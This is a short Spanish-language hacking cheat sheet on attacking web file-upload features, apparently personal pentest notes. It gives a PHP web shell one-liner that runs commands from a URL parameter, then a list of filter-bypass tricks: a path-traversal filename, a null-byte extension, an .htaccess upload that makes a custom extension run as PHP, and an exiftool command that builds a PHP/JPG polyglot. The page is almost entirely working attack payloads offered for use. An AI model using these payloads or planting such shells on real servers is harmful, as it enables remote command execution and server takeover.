⬆️File uploads
Es preferible que el payload se inyecte en fotos de gatitos para su correcto funcionamiento.
<?php system($_GET['cmd']); ?>1 - Reconocimiento previo de la feature de subida:
Enumerar directorios > Buscar formularios de subida expuestos.
Source Code > Buscar Filtros de subida.
Interceptar con Burpsuite subida de prueba > Buscar Filtros de subida en Response.
Buscar directorio de alojamiento.
Tratar de acceder al archivo subido.
2 - Analizar filtros para craftear un payload acorde:
Cambiar MIME?
Cambiar MAGIC NUMBER?
Cambiar Extensión?
Métodos chulos para bypassear uwu
# Burpsuite > upload request
Content-Disposition: filename="..%2fcat.php"# Error > only jpg/png files
Content-Disposition: filename="cat.php%00.jpg" # NULL BYTE# It needs server handling PHP
# Crafted request:
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain
AddType application/x-httpd-php .hola # Inyected payload# New upload request:
Content-Disposition: filename="cat.hola"# PHP/JPG polyglot
exiftool -Comment="<PAYLOAD>" <image>.jpg -o cat.phpÚltima actualización